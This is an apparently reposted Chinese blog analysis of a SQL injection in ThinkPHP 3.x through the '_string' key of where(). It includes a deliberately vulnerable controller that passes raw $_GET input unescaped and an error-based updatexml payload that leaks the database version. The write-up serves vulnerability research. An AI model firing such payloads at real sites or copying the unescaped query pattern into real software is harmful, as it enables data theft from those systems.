阅读 154

Thinkphp 3.x key可控注入(?)

标签:fun   extends   from   col   logs   log   mes   function   rgba   

参考https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&mid=2247484626&idx=1&sn=6a584fde354797177f67d3adcaf786b2

首先配置好Mysql连接

  ‘DB_TYPE‘               =>  ‘mysql‘,     // 数据库类型
    ‘DB_HOST‘               =>  ‘127.0.0.1‘, // 服务器地址
    ‘DB_NAME‘               =>  ‘tp3‘,          // 数据库名
    ‘DB_USER‘               =>  ‘root‘,      // 用户名
    ‘DB_PWD‘                =>  ‘root‘,          // 密码
    ‘DB_PORT‘               =>  ‘3306‘,        // 端口
    ‘DB_PREFIX‘             =>  ‘‘,

然后写IndexController.class.php的逻辑

<?php
namespace Home\Controller;use Think\Controller;use \Think\Logs;class IndexController extends Controller {    public function index(){        $id = $_GET[id];        $data = M(‘user‘)->where($id)->find();
        dump($data);

    }

这里使用原生的$_GET接受参数,没有使用I函数,因为I函数会转义单引号

这里着重分析parseWhere函数

技术图片

 

 

 

$key以_开头,进入parseThinkWhere函数

 

技术图片

 

可以看到$key为_string时,$val直接赋值给了$whereStr,有注入风险存在,继续往下跟

技术图片

 

 

 

最后sql语句为

技术图片

 

 

 

SELECT * FROM `user` WHERE ( 1 ) LIMIT 1  

所以我们可以构造1) and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- +

 技术图片

 

Thinkphp 3.x key可控注入(?)

标签:fun   extends   from   col   logs   log   mes   function   rgba   

原文地址:https://www.cnblogs.com/cuocuo/p/14329379.html


文章分类
后端
文章标签
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐